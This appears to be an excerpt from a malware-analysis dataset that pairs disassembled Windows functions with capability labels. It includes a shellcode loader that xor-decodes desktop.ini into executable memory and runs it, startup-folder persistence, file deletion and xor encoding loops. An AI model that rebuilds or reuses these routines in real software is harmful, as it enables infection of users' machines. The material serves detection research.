joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43c004]
jne 0x40100a
repz ret
jmp fcn.00401729

Function at 0x4065f8
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402452
and dword [ebp - 4], 0
cmp dword [0x43dce4], 0
mov ebx, eax
jne 0x4066a9
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40675a
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40675a
push eax
call fcn.004023e0
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x43dce4], eax
call esi
push eax
call fcn.004023e0
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x43dce8], eax
call esi
push eax
call fcn.004023e0
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x43dcec], eax
call esi
push eax
call fcn.004023e0
pop ecx
mov dword [0x43dcf4], eax
test eax, eax
je 0x4066a9
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004023e0
pop ecx
mov dword [0x43dcf0], eax
mov eax, dword [0x43dcf0]
cmp eax, ebx
je 0x406701
cmp dword [0x43dcf4], ebx
je 0x406701
push eax
call fcn.0040245b
push dword [0x43dcf4]
mov esi, eax
call fcn.0040245b
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x406701
test edi, edi
je 0x406701
call esi
test eax, eax
je 0x4066f8
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4066f8
test byte [ebp - 0xc], 1
jne 0x406701
or dword [ebp + 0x10], 0x200000
jmp 0x40673a
mov eax, dword [0x43dce8]
cmp eax, ebx
je 0x40673a
push eax
call fcn.0040245b
pop ecx
test eax, eax
je 0x40673a
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40673a
mov eax, dword [0x43dcec]
cmp eax, ebx
je 0x40673a
push eax
call fcn.0040245b
pop ecx
test eax, eax
je 0x40673a
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x43dce4]
call fcn.0040245b
pop ecx
test eax, eax
je 0x40675a
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40675c
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x437b60
Capabilities:
Get hostname

Disassembly:
sub esp, 0x42c
mov eax, dword [0x43c004]
xor eax, esp
mov dword [esp + 0x428], eax
cmp edi, 0x182
jne 0x437b8b
lea eax, [esp + 0xc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
jmp 0x437bbf
cmp edi, 0x19f
jne 0x437bbf
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMask]
push str.fihiresaduduvakuzafanenazewuduhe
push str.vabunayadedifecibu
push str.yosavagenisusoluselidesuli
push str.nibezitihomoyaradilocaxihenazigo
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
push 0
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
push esi
xor esi, esi
test edi, edi
jle 0x437c32
jmp 0x437bd0
lea ecx, [esp + 8]
mov dword [esp + 4], 5
mov dword [esp + 8], 0
call fcn.00437b50
mov eax, dword [esp + 8]
add eax, 0x46
mov dword [esp + 4], eax
sub dword [esp + 4], 0x46
mov cl, byte [esp + 4]
xor byte [ebx + esi], cl
cmp edi, 0xf
jne 0x437c2d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMask]
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
inc esi
cmp esi, edi
jl 0x437bd0
pop esi
cmp edi, 0x2d
jne 0x437c4c
mov dword [0x2b3bf00], 0xa62e7790
mov dword [0x2b3bf04], 0xffffffff
mov ecx, dword [esp + 0x428]
xor ecx, esp
call fcn.00401000
add esp, 0x42c
ret
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x710c85
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x7109ec
push esi
mov esi, dword [esp]
add esp, 4
and esi, esi
inc esi
call fcn.00710cc8
push esi
mov edi, dword [esp]
add esp, 4
add esi, edi
add edi, esi
xor dword [edx], eax
add edi, 0xef08c280
add edi, edi
inc edx
or esi, esi
mov esi, esi
and edi, esi
cmp edx, ecx
jne fcn.00710c85
and edi, edi
and esi, esi
ret
Function at 0x4010df
Capabilities:
Clear file content
Create directory
Get common file path
Get disk information
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
push ebx
push ebx
push 0x4050c8
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push ebx
push ebx
push ebx
push ebx
push 0x4050c4
push ebx
call dword [sym.imp.KERNEL32.dll_SearchPathA]
push 0x40
xor eax, eax
pop edx
lea edi, [ebp - 0x217]
mov ecx, edx
mov byte [ebp - 0x218], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x113]
mov byte [ebp - 0x114], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
lea edi, [ebp - 0xf]
mov byte [ebp - 0x10], bl
mov ecx, edx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
lea edi, [ebp - 0x31b]
mov byte [ebp - 0x31c], bl
mov byte [ebp - 0x420], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x41f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x10]
push eax
call fcn.00401077
pop ecx
mov esi, 0x104
lea eax, [ebp - 0x218]
push esi
push eax
push str.TEMP
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x4012b4
lea eax, [ebp - 0x218]
push eax
call sub.MSVCRT.dll_strlen
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x114]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x10
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x114]
push str._s_
push eax
call sub.MSVCRT.dll_strlen
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
pop ecx
lea eax, [ebp + eax - 0x114]
push eax
call edi
lea eax, [ebp - 0x114]
push ebx
push eax
call dword [sym.imp.MSVCRT.dll__access]
add esp, 0x14
cmp eax, 0xffffffff
je 0x401256
mov esi, str.asdf
push esi
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push str.ehsc
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
lea eax, [ebp - 0x10]
push eax
call fcn.00401077
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x114]
push str._s_s_
push eax
call edi
lea eax, [ebp - 0x114]
push ebx
push eax
call dword [sym.imp.MSVCRT.dll__access]
add esp, 0x1c
cmp eax, 0xffffffff
jne 0x401204
mov esi, 0x104
lea eax, [ebp - 0x114]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea eax, [ebp - 0x31c]
push esi
push eax
lea eax, [ebp - 0x114]
push eax
call ebx
lea eax, [ebp - 0x420]
push esi
push eax
lea eax, [ebp - 0x218]
push eax
call ebx
lea eax, [ebp - 0x31c]
push eax
push 0x405098
push dword [ebp + 0xc]
call edi
lea eax, [ebp - 0x420]
push eax
push 0x405094
push dword [ebp + 8]
call edi
add esp, 0x18
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4012b9
Capabilities:
Delete file
Enumerate files on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x350
push ebx
push esi
push edi
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push edi
push edi
push edi
push edi
push 0x4050c4
push edi
call dword [sym.imp.KERNEL32.dll_SearchPathA]
mov esi, 0x104
lea eax, [ebp - 0x210]
push esi
push edi
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x10c]
push edi
push eax
call sub.MSVCRT.dll_memset
mov esi, dword [sym.imp.MSVCRT.dll__access]
push edi
push dword [ebp + 8]
mov dword [ebp - 4], edi
call esi
add esp, 0x20
cmp eax, 0xffffffff
je 0x4013cd
push dword [ebp + 8]
mov ebx, dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x210]
push str._s.
push eax
call ebx
add esp, 0xc
lea eax, [ebp - 0x350]
push eax
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
je 0x4013cd
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x10c]
push dword [ebp + 8]
push str._s_s
push eax
call ebx
lea eax, [ebp - 0x10c]
push edi
push eax
call esi
add esp, 0x18
cmp eax, 0xffffffff
je 0x401399
lea eax, [ebp - 0x10c]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x350]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4013bf
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x4013bf
mov dword [ebp - 4], 1
cmp dword [ebp - 4], edi
je 0x401350
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401bea
Capabilities:
Copy file
Get common file path
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push esi
push 1
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
push dword [ebp + 0xc]
push esi
push dword [ebp + 8]
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerShell_Folders
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x401c62
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
push esi
push esi
push str.Common_Startup
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
test eax, eax
jne 0x401c5c
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
pop eax
jmp 0x401c64
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop esi
leave
ret 8

Function at 0x401c69
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push esi
push edi
xor esi, esi
push str.yklb
push esi
mov edi, ecx
push esi
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push esi
push esi
push str.udhk
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
push esi
push esi
push esi
push str.efbg
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
lea eax, [ebp - 0x104]
push 0x104
push eax
mov ecx, edi
call fcn.00401bea
test eax, eax
je 0x401cf5
lea eax, [ebp - 0x104]
push 0x405138
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x104]
push str.ktv.lnk
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x104]
mov ecx, edi
push dword [ebp + 8]
push eax
push 0x405440
push dword [ebp + 8]
call fcn.00401cfb
pop edi
pop esi
leave
ret 4
Function at 0x401dad
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
xor ebx, ebx
push str.shell32.dll
mov dword [ebp - 8], ebx
mov byte [ebp - 0x10c], bl
mov byte [ebp - 1], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
cmp esi, ebx
je 0x401e0a
push str.SHGetFolderPathA
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x401dfe
lea ecx, [ebp - 0x10c]
push ecx
push ebx
push ebx
push dword [ebp + 0xc]
push ebx
call eax
test eax, eax
jl 0x401dfe
mov byte [ebp - 1], 1
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp byte [ebp - 1], bl
jne 0x401e1c
lea eax, [ebp - 0x10c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov esi, dword [ebp + 8]
mov al, byte [ebp + 0xf]
push ebx
mov ecx, esi
mov byte [esi], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
lea eax, [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x10c]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
mov eax, esi
pop esi
pop ebx
leave
ret 8
Function at 0x401e52
Capabilities:
Create process on windows
Get disk information

Disassembly:
mov eax, 0x402e2a
call sub.MSVCRT.dll__EH_prolog
sub esp, 0x54
push ebx
push esi
push edi
push 1
xor ebx, ebx
pop edi
push str.yklb
push ebx
push ebx
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push ebx
push ebx
push str.udhk
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
push ebx
push ebx
push ebx
push str.efbg
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
push ebx
push 0x4051cc
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
push 0x44
lea eax, [ebp - 0x60]
pop esi
push esi
push ebx
push eax
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0x1c]
push ebx
push eax
mov dword [ebp - 0x60], esi
call sub.MSVCRT.dll_memset
mov esi, 0x4051c8
push esi
call sub.MSVCRT.dll_strlen
add esp, 0x1c
lea ecx, [ebp + 8]
push eax
push esi
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::append_char_const___unsigned_int_]
mov eax, dword [sym.imp.MSVCP60.dll_unsigned_int_const_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::npos]
lea ecx, [ebp + 8]
push dword [eax]
lea eax, [ebp + 0x18]
push ebx
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::append_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___unsigned_int__unsigned_int_]
mov eax, dword [ebp + 0xc]
cmp eax, ebx
jne 0x401ef5
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
lea ecx, [ebp - 0x1c]
push ecx
lea ecx, [ebp - 0x60]
push ecx
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401f31
push 0x927c0
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x18]
call esi
push edi
lea ecx, [ebp + 8]
mov byte [ebp - 4], bl
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
or dword [ebp - 4], 0xffffffff
push edi
lea ecx, [ebp + 0x18]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0x20
Function at 0x40250e
Capabilities:
Create directory

Disassembly:
push esi
push 0
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov esi, eax
test esi, esi
jne 0x402533
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x402533
push 1
pop eax
pop esi
ret
mov eax, esi
pop esi
ret

Function at 0x4025f7
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1968
call fcn.00402b50
cmp dword [ebp + 8], 0
je 0x402672
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
cmp eax, 2
pop ecx
jb 0x402672
push 0x515
lea eax, [ebp - 0x1968]
push 0
push eax
call sub.MSVCRT.dll_memset
push 0x514
lea eax, [ebp - 0x1968]
push dword [ebp + 8]
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
lea eax, [ebp - 0x1968]
push eax
call sub.MSVCRT.dll_strlen
add esp, 0x1c
cmp eax, 2
jne 0x402676
cmp byte [ebp - 0x1967], 0x3a
jne 0x402672
lea eax, [ebp - 0x1968]
push 0x405138
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
jmp 0x40268a
xor eax, eax
leave
ret
cmp byte [ebp + eax - 0x1969], 0x5c
lea eax, [ebp + eax - 0x1969]
jne 0x40268a
and byte [eax], 0
lea eax, [ebp - 0x1968]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp ebx, 0xffffffff
je 0x4026af
test bl, 0x10
je 0x4026af
push 1
pop eax
jmp 0x4026b1
xor eax, eax
pop ebx
leave
ret

Function at 0x402849
Capabilities:
Delete file
Set file attributes
Write file on windows

Disassembly:
mov eax, 0x402e77
call sub.MSVCRT.dll__EH_prolog
mov eax, 0x1124
call fcn.00402b50
push ebx
push esi
lea eax, [ebp - 0x10]
push edi
push eax
push 0x405234
xor ebx, ebx
push 0x84
push ebx
call fcn.00402951
push dword [ebp + 8]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x528]
mov byte [ebp - 0x528], bl
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x528]
push str.2.tmp
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x20
mov esi, 0x80
lea eax, [ebp - 0x528]
push ebx
push esi
push 2
push ebx
push ebx
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4028dc
lea eax, [ebp - 0x10]
push ebx
push eax
push dword [ebp - 0x10]
push dword [ebp - 0x14]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4028e0
xor eax, eax
jmp 0x40293d
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x1130]
call fcn.00401f5d
push dword [ebp + 8]
lea eax, [ebp - 0x528]
lea ecx, [ebp - 0x1130]
mov dword [ebp - 4], ebx
push eax
call fcn.00401fc8
cmp eax, ebx
jne 0x40292c
lea eax, [ebp - 0x528]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x528]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 1
pop ebx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1130]
call fcn.00401fc1
mov eax, ebx
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x8ccbb6
Capabilities:
Encode data using xor

Disassembly:
mov edi, 0x8cc92e
dec esi
sub esi, esi
call fcn.008ccbf3
add edx, 0x57f2e23e
xor dword [eax], edi
sub edx, 1
add eax, 1
or esi, edx
push 0xaa0ac402
mov edx, dword [esp]
add esp, 4
cmp eax, ecx
jne fcn.008ccbb6
dec esi
sub edx, 0xcd24637
dec esi
ret
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43b004]
jne 0x40100a
repz ret
jmp fcn.00401478

Function at 0x404a58
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402e62
and dword [ebp - 4], 0
cmp dword [0x43cc94], 0
mov ebx, eax
jne 0x404b09
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x404bba
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x404bba
push eax
call fcn.00402df0
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x43cc94], eax
call esi
push eax
call fcn.00402df0
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x43cc98], eax
call esi
push eax
call fcn.00402df0
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x43cc9c], eax
call esi
push eax
call fcn.00402df0
pop ecx
mov dword [0x43cca4], eax
test eax, eax
je 0x404b09
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402df0
pop ecx
mov dword [0x43cca0], eax
mov eax, dword [0x43cca0]
cmp eax, ebx
je 0x404b61
cmp dword [0x43cca4], ebx
je 0x404b61
push eax
call fcn.00402e6b
push dword [0x43cca4]
mov esi, eax
call fcn.00402e6b
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x404b61
test edi, edi
je 0x404b61
call esi
test eax, eax
je 0x404b58
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x404b58
test byte [ebp - 0xc], 1
jne 0x404b61
or dword [ebp + 0x10], 0x200000
jmp 0x404b9a
mov eax, dword [0x43cc98]
cmp eax, ebx
je 0x404b9a
push eax
call fcn.00402e6b
pop ecx
test eax, eax
je 0x404b9a
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x404b9a
mov eax, dword [0x43cc9c]
cmp eax, ebx
je 0x404b9a
push eax
call fcn.00402e6b
pop ecx
test eax, eax
je 0x404b9a
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x43cc94]
call fcn.00402e6b
pop ecx
test eax, eax
je 0x404bba
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x404bbc
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4378e0
Capabilities:
Get hostname

Disassembly:
sub esp, 0x42c
mov eax, dword [0x43b004]
xor eax, esp
mov dword [esp + 0x428], eax
cmp edi, 0x182
jne 0x43790b
lea eax, [esp + 0xc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
jmp 0x437945
cmp edi, 0x19f
jne 0x437945
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMask]
push str.fihiresaduduvakuzafanenazewuduhe
push str.vabunayadedifecibu
push str.yosavagenisusoluselidesuli
push str.nibezitihomoyaradilocaxihenazigo
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_RaiseException]
push esi
xor esi, esi
test edi, edi
jle 0x4379b2
lea esp, [esp]
lea ecx, [esp + 8]
mov dword [esp + 4], 5
mov dword [esp + 8], 0
call fcn.004378d0
mov eax, dword [esp + 8]
add eax, 0x46
mov dword [esp + 4], eax
sub dword [esp + 4], 0x46
mov cl, byte [esp + 4]
xor byte [ebx + esi], cl
cmp edi, 0xf
jne 0x4379ad
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMask]
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
inc esi
cmp esi, edi
jl 0x437950
pop esi
cmp edi, 0x2d
jne 0x4379cc
mov dword [0x515500], 0xa62e7790
mov dword [0x515504], 0xffffffff
mov ecx, dword [esp + 0x428]
xor ecx, esp
call fcn.00401000
add esp, 0x42c
ret